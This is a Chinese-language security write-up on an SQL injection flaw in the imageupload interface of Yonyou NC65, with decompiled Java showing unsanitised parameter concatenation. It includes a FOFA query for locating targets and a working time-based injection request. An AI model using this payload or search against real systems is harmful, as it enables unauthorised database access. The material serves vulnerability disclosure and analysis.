漏洞简介
用友NC系统imageupload接口存在sql注入漏洞,从而窃取服务器的敏感信息。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告可知 imageUpload 为sql注入点

因此搜索 imageUpload 方法定义即可找到业务逻辑实现代码
package nc.web.arap.controller;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.arap.util.ArapBillVOUtils;
import nc.bs.framework.common.InvocationInfoProxy;
import nc.bs.framework.common.NCLocator;
import nc.itf.arap.web.IWebPubService;
import nc.itf.image.IImageScanQueryService;
import nc.jdbc.framework.generator.IdGenerator;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.vo.arap.AbstractBillDefValue;
import nc.vo.arap.basebill.BaseAggVO;
import nc.vo.jcom.lang.StringUtil;
import nc.vo.pub.AggregatedValueObject;
import nc.vo.pub.BusinessException;
import nc.vo.pub.bill.BillTempletVO;
import nc.vo.pub.billtype.BilltypeVO;
import nc.web.arap.bill.pub.ArapWebBillRefcfg;
import nc.web.arap.bill.pub.WebBillTypeFactory;
import nc.web.arap.environment.EnvironmentInit;
import nc.web.arap.factory.NCLocatorFactory;
import nc.web.arap.json.TranslateValueObjectToJson;
import nc.web.arap.utils.ArapTemplateInterpereter;
import nc.web.arap.utils.ArapTemplateQueryUtil;
import nc.web.datatrans.itf.ITranslateDataService;
import org.apache.commons.lang.StringUtils;
import org.codehaus.jettison.json.JSONException;
import org.codehaus.jettison.json.JSONObject;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import uap.iweb.plugin.model.BrotherPair;
import uap.web.util.JsonUtil;
@Controller
@RequestMapping({"/billadd_ctr"})
public class BillAddController extends ArapController {
public BillAddController() {
}
@RequestMapping(
value = {"/imageupload"},
method = {RequestMethod.GET}
)
public String imageUpload(HttpServletRequest request, HttpServletResponse response) throws BusinessException {
Enumeration enums = request.getParameterNames();
while(enums.hasMoreElements()) {
String key = enums.nextElement().toString();
request.setAttribute(key, request.getParameter(key));
}
String pk_tradetypecode = request.getParameter("billType");
String pk_org = request.getParameter("pk_org");
int scanType = 1;
if (StringUtils.isNotEmpty(pk_tradetypecode) && StringUtils.isEmpty(pk_org)) {
IImageScanQueryService service = (IImageScanQueryService)NCLocatorFactory.getInstance().getFiwebNCLocator().lookup(IImageScanQueryService.class);
scanType = service.queryImageScan(pk_org, pk_tradetypecode);
}
request.setAttribute("scanType", scanType);
return "imageupload";
}
}
billType ==> pk_tradetypecode ==> 进入 service.queryImageScan,其实现逻辑如下
public interface IImageScanQueryService {
int queryImageScan(String var1, String var2) throws BusinessException;
}
public int queryImageScan(String pk_org, String billortrantypecode) throws BusinessException {
Map<String, BilltypeVO> allBillType = PfDataCache.getBilltypes();
for(Map.Entry<String, BilltypeVO> entry : allBillType.entrySet()) {
BilltypeVO billTypeVO = (BilltypeVO)entry.getValue();
if (billTypeVO.getPk_billtypecode().equals(billortrantypecode)) {
this.billtype = billTypeVO.getParentbilltype();
break;
}
}
BaseDAO dao = new BaseDAO();
List<ImageScanSetupVO> list = (List)dao.retrieveByClause(ImageScanSetupVO.class, this.getCondition(pk_org, billortrantypecode));
if (list.size() != 0) {
private String getCondition(String pk_org, String billortrantypecode) {
String condition = "pk_org='" + pk_org + "'" + " and (" + "billortrantypecode" + "='" + billortrantypecode + "'" + " or " + "billtypecode" + "='" + this.billtype + "'" + ") ";
return condition;
}
带入 dao.retrieveByClause ,有关 dao.retrieveByClause 的实现逻辑处理参考前一篇文章:用友NC setting/renew sql注入漏洞
- 遍历请求参数并将其设置到request属性中。
- 获取两个参数:billType和pk_org
- 初始化scanType为1
- 如果billType不为空且pk_org为空,则调用服务查询scanType
最终 billType 拼接进 getCondition 函数的SQL语句中,造成SQL注入漏洞。
漏洞复现
注意漏洞利用只能是 GET 方法
GET /portal/pt/billadd_ctr/imageupload?billType=-1')and 1=dbms_pipe.receive_message('RDS',4)--&pageId=login&pk_org= HTTP/1.0
Host: nc65.mrxn.net
参考
https://security.yonyou.com/#/noticeInfo?id=671


